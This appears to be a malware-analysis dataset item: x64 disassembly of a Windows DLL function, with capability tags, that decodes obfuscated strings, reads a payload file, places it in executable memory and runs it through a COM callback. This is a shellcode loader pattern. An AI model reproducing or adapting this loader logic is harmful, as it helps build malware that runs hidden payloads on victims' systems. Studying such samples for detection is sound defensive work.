Function at 0x180001470
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x180005040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov ecx, dword [0x180005644]
movabs rdi, 0x6fe4c5b22906f977
mov rax, qword gs:[0x58]
movabs rbx, 0x4f68ebbbc6378804
mov edx, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x180005800], eax
jle 0x18000110a
lea rcx, [0x180005800]
call fcn.18000152c
cmp dword [0x180005800], 0xffffffff
jne 0x18000110a
movabs rcx, 0xd05d7b6923c92dd6
mov qword [rbp - 0x80], rdi
mov qword [rsp + 0x78], rcx
movabs rax, 0x8058512084151f11
mov qword [rbp - 0x70], rax
movabs rax, 0x6f8ac5c02963f91c
mov qword [rsp + 0x60], rax
movabs rax, 0x4f5aeb88c65b8861
mov qword [rsp + 0x68], rax
movabs rax, 0x8034514c84711f3f
movups xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x70], rax
movups xmm1, xmmword [rsp + 0x70]
mov qword [rbp - 0x68], rcx
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x78], rbx
xorps xmm1, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x180005800]
mov qword [0x180005808], rax
call fcn.1800014c0
cmp qword [0x180005808], 0
jne 0x18000111e
mov eax, 0xffffffff
jmp 0x180001424
xor edx, edx
mov qword [rsp + 0x400], r15
mov r8d, 0x208
lea rcx, [rbp - 0x60]
call sub.msvcrt.dll_memset
mov rcx, qword [0x1800057f8]
lea rdx, [rbp - 0x60]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [rax - 4]
add rdx, rdx
cmp rdx, 0x208
jae 0x18000143e
xor r15d, r15d
mov word [rbp + rdx - 0x60], r15w
lea edx, [rax - 3]
add rdx, rdx
cmp rdx, 0x208
jae 0x18000143e
lea ecx, [rax - 2]
mov word [rbp + rdx - 0x60], r15w
add rcx, rcx
cmp rcx, 0x208
jae 0x18000143e
mov word [rbp + rcx - 0x60], r15w
lea ecx, [rax - 1]
add rcx, rcx
cmp rcx, 0x208
jae 0x18000143e
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
movabs rax, 0x6f90c5d32962f959
mov qword [rbp - 0x80], rax
mov word [rbp + rcx - 0x60], r15w
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x78], rbx
movaps xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x3f0], rsi
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x3f8], r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x104
call sub.msvcrt.dll_memset
mov qword [rsp + 0x38], r15
lea r8, [rbp - 0x60]
mov qword [rsp + 0x30], r15
mov r9d, 0x104
mov dword [rsp + 0x28], r15d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rsp + 0x38], r15
lea r8, [rbp - 0x60]
mov qword [rsp + 0x30], r15
mov r9d, 0x104
mov dword [rsp + 0x28], eax
xor edx, edx
lea rax, [rbp + 0x1b0]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, [0x180003898]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.msvcrt.dll_fopen]
mov rbx, rax
test rax, rax
je 0x18000140a
xor edx, edx
lea r8d, [r15 + 2]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_fseek]
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_ftell]
movsxd rsi, eax
test eax, eax
je 0x18000140a
lea r9d, [r15 + 4]
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x18000140a
lea rdx, [0x180003898]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.msvcrt.dll_fopen]
mov rdi, rax
test rax, rax
je 0x180001341
xor edx, edx
lea r8d, [r15 + 2]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_fseek]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_ftell]
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.msvcrt.dll_rewind]
mov r9, rdi
lea edx, [r15 + 1]
mov r8, rbx
mov rcx, r14
call qword [sym.imp.msvcrt.dll_fread]
cmp rax, rbx
je 0x180001338
mov rcx, r14
call qword [sym.imp.msvcrt.dll_free]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_fclose]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000140a
mov r8, rsi
mov rdx, r14
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov eax, dword [rbx]
cmp eax, 0xa
jb 0x18000140a
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000140a
lea rdx, [rbx + 4]
mov r8d, esi
mov rcx, rax
call sub.msvcrt.dll_memcpy
xor edx, edx
mov qword [rsp + 0x48], 0x1c6
xor ecx, ecx
mov dword [rsp + 0x50], 0xc0
mov dword [rsp + 0x54], 0x46000000
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0x48]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x48]
mov r8, rbx
mov dword [rsp + 0x20], r15d
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [rsp + 0x3f8]
xor eax, eax
mov rsi, qword [rsp + 0x3f0]
mov r15, qword [rsp + 0x400]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.1800014a0
add rsp, 0x3d0
pop rdi
pop rbx
pop rbp
ret
call fcn.1800016ac
int3
jmp section..text